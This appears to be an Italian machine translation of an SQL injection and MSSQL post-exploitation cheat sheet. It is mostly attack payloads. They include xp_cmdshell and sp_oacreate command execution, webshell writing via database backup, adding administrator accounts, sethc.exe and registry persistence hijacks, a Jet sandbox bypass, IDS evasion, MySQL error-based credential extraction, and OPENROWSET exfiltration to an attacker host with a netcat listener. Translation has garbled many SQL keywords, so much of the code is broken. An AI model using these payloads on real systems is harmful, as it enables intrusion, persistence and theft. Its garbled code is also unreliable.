Una volta ottenuto l'hash, puoi forzarlo con forza bruta.

Per attraversare la directory: Prima, crea una tabella temporanea: temp
; crea la temperatura della tabella (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; inserire master.dbo.xp_blank>_availablemedia esecutivo temporaneo; – Recupera tutti i dischi attuali
; Inserisci nel temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Ottenere un elenco di sottodirectory
; inserire nell'executor temp(id,num1) master.dbo.xp_blank>_dirtree c:\; – Ottenere la struttura ad albero delle directory per tutte le sottodirectory,

Unisci i pollici alla tabella delle temperature
; inserisci nel master.dbo.xp_blank>_cmdshell executivo temp(id) tipo C:\web\index.asp; – Visualizza un file

Contenuto
; inserire nel master.dbo.xp_blank>_cmdshell esecutivo temp(id) dir: c:\; –
; inserire in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs ENUM W3SVC
; inserire nell'executor temp(id,num1) master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Autorità applicabile

PUBBLICO)
Scrivi al tavolo:
affermazione 1: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(sysadmin)); –
Affermazione 2: e 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); –
Affermazione 3: e 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); –
Dichiarazione 4: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(securityadmin)); –
Dichiarazione 5: e 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Dichiarazione 6: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(diskadmin)); –
Affermazione 7: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Affermazione 8: e 1=(Seleziona IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Enunciato 9: e 1=(Seleziona IS_blank>_MEMBER(db_blank>_owner)); –

Scrivi il percorso verso la tabella:
; create table dirs(paths varchar(100), id int)–
; inserire dirs executive master.dbo.xp_blank>_dirtree c:\–
e 0<>(seleziona i primi 1 percorsi dai dirs)–
e 0<>(seleziona i primi 1 percorsi dai dirs dove i percorsi non sono in(@Inetpub))–
; Create Table dirs1(paths varchar(100), id int)–
; inserire dirs executive master.dbo.xp_blank>_dirtree e:\web–
e 0<>(seleziona i primi 1 percorsi da dirs1)–

Fai un backup del _blank> database in una directory web: scarica
; dichiarare @a nome di sistema; set @a=db_blank>_name(); Backup del database @a su disco=e:\web\down.bak; –

e 1=(Seleziona il nome top 1 da(Seleziona top 12 id, nome da sysobjects dove xtype=char(85)) T

Ordine di ID Desk)
e 1=(Seleziona Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) da sysobjects) Vedi anche

Tabelle correlate.
e 1=(seleziona user_blank>_id da USER_blank>_LOGIN)
e 0=(seleziona l'utente da USER_blank>_LOGIN dove l'utente>1)

-=- wscrip{filter}t.shell esempio -=-
dichiara @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
executive sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

dichiara @o int, @f int, @t int @ret int
dichiara @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, OpenTextFile, @f fuori, C:\boot.ini, 1
Executive @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
inizio
@line stampa
Executive @ret = sp_blank>_oamethod @f, readline, @line out
fine

dichiara @o int, @f int, @t int @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

dichiara @o int, @ret int
Esecutivo sp_blank>_oacreate speech.voicetext, @o chiuso
sp_blank>_oamethod @o executive, register, NULL, foo, bar
Executive sp_blank>_oasetproperty @o, velocità, 150
exec sp_blank>_oamethod @o, parla, NULL, tutti i tuoi server sequel appartengono a, us, 528
aspetta ritardo 00:00:05

; dichiara @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, registre, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 executive

sp_blank>_oamethod @o, parla, NULL, tutti i tuoi server sequel appartengono a noi, 528 attesa di ritardo

00:00:05–

xp_blank>_dirtree il permesso PUBBLICO applicabile
exec master.dbo.xp_blank>_dirtree c: Le informazioni restituite hanno due campi: sottodirectory, profondità. Campi sottodirectory

Tipo di carattere, il campo di profondità è il campo di modellazione.
Create Table dirs (paths varchar(100), id int)
La costruzione di tabelle, la tabella creata qui è correlata al xp_blank>_dirtree sopra, con campi uguali e dello stesso tipo.
inserire dirs esecutivo master.dbo.xp_blank>_dirtree c: Finché costruiamo una tabella e definiamo in modo equo i campi restituiti dal processo di archiviazione

Esegui! Per ottenere l'effetto della scrittura delle tabelle, passo dopo passo per ottenere le informazioni che vogliamo!
Questa iniezione di errore si basa principalmente sull'overflow del tipo di dati Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(- (1)*

9223372036854775808)'
Versione del database di richiesta:
    mysql> SELECT * 2 (se (((SELECT * da (SELECT (versione ()) ) s), 18446744073709551610,

18446744073709551610));
    ERRORE 1690 (22003): Il valore BIGINT UNSIGNED è fuori intervallo in '(2 * if (( Select ' 5.5 'from

Dual), 18446744073709551610.18446744073709551610))'
Ottieni il nome del campo:
    mysql> SELECT 2 * if((SELECT * da (select * da test.shop) come '' limite 1)>(SELECT * da

test.shop limite 1), 18446744073709551610, 18446744073709551610);

    ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(2 * if((((select

'articolo', 'rivenditore', 'prezzo' da (seleziona 'test'.'shop'.'articolo' AS

'articolo', 'test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'prezzo' COME 'prezzo' da

'test'.'shop') limite 1) > (seleziona

'prova'.'negozio'.'articolo','test'.'negozio'.'rivenditore','test'.'negozio'.'prezzo' da 'prova'.'negozio' limite

1)),18446744073709551610,18446744073709551610))'
Ottieni il valore del campo:

    mysql> SELECT 2 * if((SELECT * da (select * da (mysql.user) LIMIT 1) come '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(2 * if((((select

'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y

Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '0,'', '','' DA DOPPIO LIMITE 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Nota che questo metodo non funziona con versioni più vecchie di Mysql, e dovrai conoscere il limite di lunghezza del messaggio di errore, poiché questo determinerà

Puoi ottenere quanto vuoi:
    mysys / my_error.c

    /* Lunghezza massima di un messaggio di errore. Dovrebbe essere mantenuto sincronizzato con MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Se l'oggetto è MariaDB (un fork di Mysql), potresti vedere un messaggio di errore simile quando provi il metodo sopra:

    mysql> SELECT 2*(if((SELECT * da (SELECT (version()))), 18446744073709551610,

18446744073709551610))
    ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Come soluzione, questo problema può essere risolto in questo modo:

    mysql> SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a;
    ERRORE 1690 (22003): Il valore BIGINT è fuori intervallo in '(('5.5-MariaDB' non è nullo) - -

(9223372036854775808))'
Ora vediamo se riusciamo a rendere il nostro Vector un po' più corto

//查询数据库版本

    SELECT 2*(if((SELECT * da (SELECT (version())))), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 da(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) come '' limite 1)>(SELECT * da

test.shop limite 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) come '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| host|| password|| file_priv da (select*from mysql.user LIMIT

1) un limite 1),2,2)
//获取字段个数


    seleziona 1E308*if((seleziona*da mysql.user limite 1)>(seleziona 1),2,2)



Alcune altre deformazioni

    SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a
    select 1E308*if((select user|| host|| password|| file_priv da (select*from mysql.user LIMIT

1) un limite 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> seleziona (seleziona * da mysql.user)=1;
    mysql> seleziona (seleziona * da mysql.user)in(1);

    ERRORE 1241 (21000): L'operando dovrebbe contenere 42 colonne (o colonne)
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    select if((select user|| host|| password|| file_priv da(select*from mysql.user LIMIT 1)a

limite 1),2,2)*1E308
    SELECT (I IS NOT NULL) - -9223372036854775808 DA (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 da(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    ERRORE 1690 (22003): BIGINT UNSIGNED value è fuori intervallo in '((not('root@localhost')) - ~

(0))'
3. Giudicare il sistema di database
; e (select count(*) da sysobjects)>0 mssql
; e (select count(*) da msysobjects)>0 accesso
4. Il parametro di iniezione è un carattere
'e [criteri di interrogazione] e ''='
5. Non ci sono parametri filtrati durante la ricerca
'e [criteri di richiesta] e '%25'='
6. Indovina il database
; e (seleziona Count(*) da [nome database])>0
7. Indovina il campo
; e (seleziona Count(nome campo) dal nome del database)>0
8. Indovina la lunghezza del disco sul campo
; e (seleziona top 1 LEN (nome del campo) dal nome del database)>0
9. (1) Indovina il valore ASCII del campo (accesso)
; e (seleziona top 1 asc(mid(nome campo, 1,1)) dal nome del database)>0
(2) Indovina il valore ASCII del campo (mssql)
; e (seleziona top 1 unicode(sottostringa(nome campo, 1,1)) dal nome database)>0
10. Struttura dei permessi di prova (mssql)
; e 1=(seleziona IS_SRVROLEMEMBER('sysadmin')); --
; e 1=(seleziona IS_SRVROLEMEMBER('serveradmin')); --
; e 1=(seleziona IS_SRVROLEMEMBER('setupadmin')); --
; e 1=(seleziona IS_SRVROLEMEMBER('securityadmin')); --
; e 1=(seleziona IS_SRVROLEMEMBER('diskadmin')); --
; e 1=(seleziona IS_SRVROLEMEMBER('bulkadmin')); --
; e 1=(seleziona IS_MEMBER('db_owner')); --
11. Aggiungere un account per mssql e il sistema
; nome utente master.dbo.sp_addlogin esecutivo; --
; exec master.dbo.sp_password null, username, password; --
; username amministratore master.dbo.sp_addsrvrolemember executive; --
; Executive master.dbo.xp_cmdshell 'Username utente web password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; Executive master.dbo.xp_cmdshell 'Username Rete password /Add'; --
; EXEC master.dbo.xp_cmdshell 'Nome utente degli amministratori del gruppo locale nete /add'; --
12. (1) Attraversare il catalogo
; Create Table dirs (paths varchar(100), id int)
; inserisci regs executive master.dbo.xp_dirtree 'c:\'
; e (seleziona i primi 1 percorsi dalle dirs)>0
; e (seleziona i primi 1 percorsi dalle dirs dove i percorsi non in('percorsi ottenuti dal passaggio precedente'))>)
(2) Attraversare il catalogo
; crea la temperatura della tabella (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; inserire temporaneo esecutivo master.dbo.xp_availablemedia; -- Prendi tutti i dischi attuali
; inserire nel temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Ottenere una lista di sottodirectory
; inserire nel temp(id,num1) executive master.dbo.xp_dirtree 'c:\'; -- Ottenere la struttura dell'albero delle directory per tutte le sottodirectory
; inserire nell'executor temp(id) master.dbo.xp_cmdshell 'tipo c:\web\index.asp'; -- Visualizza il contenuto del file
13. Stored procedure in mssql
xp_regenumvalues Chiave radice del registro, chiave figlia
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' e altro ancora

Metodo del record set per restituire tutti i valori chiave
xp_regread Chiave radice, chiave figlia, nome chiave-valore
; exécutif xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' restituisce il valore della chiave di formulazione
xp_regwrite Chiave radice, chiave figlia, nome valore, tipo di valore, valore
Esistono due tipi di valori REG_SZ REG_DWORD per i tipi di carattere e per gli interi
; exécute xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sono scritti nel registro
xp_regdeletevalue Chiave radice, sottochiave, nome del valore
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' per rimuovere un valore
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' tasto delete,

Includi tutti i valori sotto quella chiave
14. MSSQL Backup crea una webshell
Usa il modello
crea table cmd(immagine str);
inserire in cmd(str) valori ('<% Dim oscrip{filter}t %>');
Backup del modello del database su disco='c:\l.asp';
15. Funzioni integrate di MSSQL
; e (seleziona @@version)>0 per ottenere il numero di versione di Windows
; e user_name()='dbo' per determinare se l'utente connesso del sistema attuale è SA
; e (seleziona user_name())>0 Ha fatto esplodere gli utenti connessi al sistema attuale
; e (seleziona db_name())>0 per ottenere il database attualmente connesso
16. Webshell concisa
Usa il modello
crea table cmd(immagine str);
inserisci in cmd(str) valori ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c").stdout.readall%>');
Backup del modello del database su disco='g:\wwwtest\l.asp';
Quando richiedi, usa qualcosa del genere:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Ottieni tutti i nomi dei database, inclusi i database di sistema
–SELECT nome FROM master.dbo.sysdatabases

Ottenere tutti i nomi di database non di sistema
–seleziona [nome] da master.dbo.sysdatabases dove DBId>6 ordina per [Nome]

Ottieni tutte le informazioni, incluso l'indirizzo del file del database
–seleziona * da master.dbo.sysdatabases dove DBId>6 ordina per

[Nome]



Questa query di istruzione restituisce tutte le tabelle utente

seleziona * da sysobjects dove xtype='u'


Consulta tutte le informazioni della tabella dati nel sistema

seleziona * da sysobjects



Guarda il nome della macchina
seleziona * da sys.servers





Indice delle colonne
Esecutivo master.dbo.xp_subdirs 'C:\'


Esecutivo master.dbo.xp_dirtree 'C:',1,1 db_owner
I permessi possono essere applicati


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Codice programma, scritto su webshell


Esecutivo master.dbo.xp_subdirs 'd:\web\www.xx.com';
Esecutivo sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"






Esegui il maestro.. xp_enumgroups  


Utenti del sistema Traverse


Esegui il maestro.. xp_getnetname
Ottieni il nome attuale della macchina


--Elencare i dischi fissi sul server, insieme allo spazio disponibile per ciascun disco
   dbo pubblico


esecuzione

xp_ntsec_enumdomains


--
Crea un account per accedere a MSSQL
Nome master.dbo.sp_addlogin esecutivo, Pass; --






--
Elenca il nome di dominio del server
xp_ntsec_enumdomains //
Nome macchina //dbo pubblico


--
Fermare o avviare un servizio
xp_servicecontrol 'stop', 'schedule' //schedule è il nome del servizio //dbo


--Usa il pid

Ferma un programma in esecuzione
xp_terminate_process 123 //123 è il pid //dbo


--
Sono elencati solo i sottodirectory in una directory
dbo.xp_subdirs 'C:' //dbo


SQL Server
Il metodo di apertura della xp_cmdshell nel 2005
EXEC sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; EXECUTIVE

sp_configure 'xp_cmdshell', 1; RICONFIGURARE;

SQL2005 Apri 'OPENROWSET'
Metodi supportati:
esecutivo sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; executive sp_configure 'Ad Hoc

Query distribuite',1; RICONFIGURARE;

SQL2005 per abilitare il supporto 'sp_oacreate':
esecutivo sp_configure 'mostra opzioni avanzate', 1; RICONFIGURARE; Esecutivo

sp_configure 'Vecchie Procedure di Automazione',1; RICONFIGURA





Come abilitare xp_cmdshell in SQL Server 2008


-- Per permettere di cambiare le opzioni avanzate.
EXECUTIVE

sp_configure 'mostra opzioni avanzate', 1
VAI
-- Per aggiornare il valore attualmente configurato per

Opzioni avanzate.
RICONFIGURA
VAI
-- Per abilitare la funzione.
EXECUTIVE sp_configure 'xp_cmdshell', 1
VAI
--A

Aggiorna il valore attualmente configurato per questa funzione.
RICONFIGURA
VAI


exec xp_cmdshell 'ipconfig'



Oggi volevo cambiare la password di accesso SA del server del database, ma improvvisamente me ne sono dimenticato, quindi ho dovuto aprire l'analizzatore di query con l'aiuto di altri account per cambiare la password SA

È molto semplice:


Esecuzione:
sp_password Null, 'teracypwd', 'sa'
Imposta la password SA su "teracypwd"


Dopo l'esecuzione con successo

C'è "Comando/i completati con successo."  OK!








Nel permesso del database, separare il metodo per ottenere l'IP del server database MSSQL


1. Il NC locale ascolta NC - VVLP 80


2.; inserire in

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Indirizzo=il tuo IP, 80; ', 'seleziona * da

dest_table') seleziona * da src_table; --


seleziona * da openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','seleziona utente; ')





Importazione ed esportazione di database

/*不同服务器数据库之间的数据操作*/

--Crea server di collegamento
Executive sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Nome server remoto o indirizzo IP'
dirigente sp_addlinkedsrvlogin 'ITSV', 'falso

',null, 'username', 'password'

--esempio di query
select * da ITSV.nome database.dbo.nome tabella

--esempio di importazione
seleziona *

nella tabella da ITSV.databasename.dbo.tablename

--Elimina il server collegato se in futuro non sarà più in uso
esecutivo sp_dropserver 'ITSV',

'droplogins'

--
Connessione a dati remoti/LAN (openrowset/openquery/opendatasource)
--1、openrowset

--esempio di query
seleziona *

da openrowset( 'SQLOLEDB', 'nome server SQL'; 'Nome utente'; 'password', nome database.dbo.nome tabella)

--
Genera una tabella locale
seleziona * nella tabella da openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Nome utente'; 'Password', numero

Secondo il nome del database.dbo. nome della tabella)

--
Importare la tabella locale nella tabella remota
inserisci openrowset( 'SQLOLEDB', 'nome server sql'; 'Nome utente'; 'Password', database

name.dbo.table name)
seleziona *dalla tabella locale

--
Aggiorna le tabelle locali
Aggiornamento B
Set b. colonna A = a
da openrowset( 'SQLOLEDB', 'nome server SQL'; 'Nome utente'; '

password ', nome database .dbo.nome tabella) come tabella locale di join interno B
su a.colonna1=b.colonna1

--openquery
L'uso richiede la creazione di una connessione

--Prima di tutto, crea una connessione per creare un server di collegamento
esecutivo sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'nome server remoto o indirizzo IP'
--Indaga
seleziona *
FROM OpenQuery(ITSV, 'SELECT * FROM dati

nome library.dbo.table ')
--
Importare la tabella locale nella tabella remota
inserire openquery(ITSV, 'SELECT * da database.dbo.table name')
seleziona * da locale

tavolo
--aggiornamento tabella locale
Aggiornamento B
Set b. colonna B=a
DA openquery(ITSV, 'SELEZIONA * da database.dbo.tablename')

come  
Tabella locale di join interna b su a. colonna A=b. colonna A

--3、OpenDataSource/OpenRowSet
SELEZIONA *
DA   

opendatasource( 'SQLOLEDB', 'Data Source=ip/NomeServer; ID utente=Nome login; Password=Password '

).test.dbo.roy_ta
--
Importare la tabella locale nella tabella remota



Cancellazione e ripristino della xp_cmdshell


Modi per recuperare xp_cmdshell   
Elimina la stored procedure estesa xp_cmdshell

affermazione   
Esecutivo sp_dropextendedproc 'xp_cmdshell'   



Recupera l'istruzione sql di cmdshell   
Executive sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Esecutivo

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Select count(*) da

master.dbo.sysobjects dove xtype='x' e   
Il risultato di ritorno è 1 ed è ok   


Altrimenti, devi caricare c:\inetput\web

\xplog70.dll più tardi   
Esecutivo master.dbo.sp_addextendedproc 'xp_cmdshell', 'C:\inetput\web\xplog70.dll

’; --   



Se lo elimini nel modo seguente   
Procedura di caduta sp_addextendedproc   
Procedura di caduta sp_oacreate   
Esecutivo

sp_dropextendedproc 'xp_cmdshell'   



Puoi ripristinarlo con la seguente affermazione   
DBCC addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

In questo modo, può essere ripristinata direttamente, indipendentemente dal fatto che sp_addextendedproc esista o meno






1、
Usa xp_cmdshell:
          Executive master.dbo.xp_cmdshell "Amministratore Utente Rete Admin / Aggiungi"
          Esecutivo

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

In xp_cmdshell caso, usa sp_oacreate per seguire sp_oamethod:
          dichiara @object int   
          Esecutivo

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          Esecutivo sp_oamethod

@object,'Run',NULL,'admin utente net' admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administrators admin /add'

Nota: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Usa sp_oacreate e FSO
          dichiara @o int
          Esecutivo sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          dichiara @oo int
          Esecutivo

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          sp_oamethod @oo esecutivo,

'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Usa xp_regwrite (db_owner, riavvio richiesto):
          Esecutivo master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run', 'eadd1', 'reg_sz','admin utente rete admin /add'
          Esecutivo master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Usa sp_add_job:
          Esecutivo

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Usa l'sp_delete_job esecutivo MSDB

null,'x'
          Esecutivo sp_add_job 'X'
          Executive sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          sp_add_jobserver esecutivo

Null, 'x', @@servername executive sp_start_job 'x'















Molti S.A. hanno avuto successo in molte macchine usando direttamente la modalità sandbox, ma io non l'ho mai praticata e non so quale sia il tasso di successo. Quando l'estensione viene rimossa, prima

Ripristina la memoria di lettura e scrittura nel registro.
DBC addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite'','xpstar.dll')



Corretto il modo protetto del sandbox
Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --



Controlla se il valore di 'SandBoxMode' è diventato 0.


executive master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Infine, chiama la modalità sandbox
seleziona * da openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c NET user user passwd /add")')







Se la modalità di protezione sandbox non è "spento", viene segnalato un errore:
          Cameriere: Msg 7357, Livello 16, Stato 2, Linea 1

Non è riuscito a gestire l'oggetto 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB offre programmi

La prefazione 'microsoft.jet.oledb.4.0' indica che non ci sono colonne nell'oggetto.

Tracciamento errori OLE DB [Errore non interfaccia: provider OLE DB impossibile elaborare l'oggetto, poiché l'oggetto

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Se il .mdb non esiste o il percorso di ingresso è errato
           Cameriere: Msg 7399, Livello 16, Stato 1, Linea 1

Errore del provider OLE DB 'microsoft.jet.oledb.4.0'.
            [Messaggio restituito dal provider OLE/DB:

File 'C:\WINDOWS\system32\ias\dnary1.mdb' non trovato. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Se ci sono più spazi durante il processo di input, verrà segnalato anche un errore. Presta particolare attenzione a questo, molte persone cercano direttamente articoli online

Incollalo dentro ed eseguilo.
          Cameriere: Msg 7357, Livello 16, Stato 2, Linea 1
          Non è riuscito a processare l'oggetto 'select

shell("cmd.exe /c net user user passwd /add")'。
Il provider OLE DB 'microsoft.jet.oledb.4.0' afferma che non ci sono colonne nell'oggetto.

Tracciamento errore OLE DB [Errore non interfacciale:
Provider OLE DB impossibile a elaborare l'oggetto, poiché l'oggetto ha

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c utente utente nete

passwd /add")']。


4、
Se i permessi mdb e i permessi cmd.exe sono sbagliati, si verificherà anche il problema.
          Quando i permessi MDB sono errati,
           Server: Elimina

Interesse 7320, Livello 16, Stato 2, Linea 1

Non poteva rispondere
Il provider OLE DB 'Microsoft.Jet.OLEDB.4.0' esegue la query.
           [Fornitore OLE/DB restituito

message: 未知]
           OLE DB Errore Trace [Provider OLE/DB 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Se il permesso di rete è errato, non c'è alcun prompt.

L'ultimo modo per aumentare l'autorità è caricare i ias.mdb e i cmd.exe del sistema sotto la directory web attuale, net.exe tre file.

Esegui select * da openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe utente utente passwd /add")')
          Aggiunta con successo un utente computerizzato.






La divisione cmdshell bypassa IDS         
Dichiara @a sysname set @a='xp_'+'cmdshell' Executive @a 'ipconfig'
dichiara

@a sysname set @a='xp'+'_cm'+'dshell' esecutivo @a 'dir c:\'





Modifica shift di dirottamento del registro
Maestro esecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe su'; --



Interroga il linkserver
selezionare

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,accesso dati da master.dbo.sysservers
selezionare

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,accesso dati da master.dbo.sysservers



Consulta linkserver2
seleziona host distinto,db_name(dbid),net_address,loginame,program_name da

Maestro.. sysprocesses



Interroga il linkserver
e altri utenti effettuati l'accesso
seleziona * da [192.168.1.1].master.dbo.syslogins



Query linkserver
Tutti i database
select * da linkedSrvWeb.master.dbo.sysdatabases



Esegui l'archiviazione estesa su LinkServer
Executive [IP].master.dbo.xp_cmdshell



Interroga tutte le tabelle sul linkserver
seleziona * da [ip].master.dbo.sysobjects








seleziona * da openrowset

('sqloledb','server=IP; uid=utente; pwd=password', 'seleziona @@version')


select * da openquery([LINKSERVER

nome], 'seleziona @@version')




select * da openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * da openquery(GM_SERVER,'select * da sysobjects dove xtype = (''U'')')


seleziona * da

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




seleziona * da openquery(toatdeweb,'seleziona

srvname da master.dbo.sysservers')


Inserisci in OpenDataSource

('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu seleziona

nome da master.dbo.sysdatabases
crea database hack520 Crea TABELLA zhu(nome nvarchar(256)

null); Create TABLE J8(id int NULL, name nvarchar(256) null);


seleziona * da OpenQuery

(toatdeweb,'imposta fmtonly off exec master.dbo.xp_cmdshell''utente web'')


Maestro esecutivo... xp_dirtree

'c:\',1,1
Esegui una directory di query


link esecutivi e maestro.. xp_cmdshell 'ipconfig'


seleziona * da openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all'')



Collega mysql Select * da Mem_DB. UserDB.dbo.AdminList


EXECUTIVE MASTER.. XP_dirtree 'c:\',1,1




Esecutivo

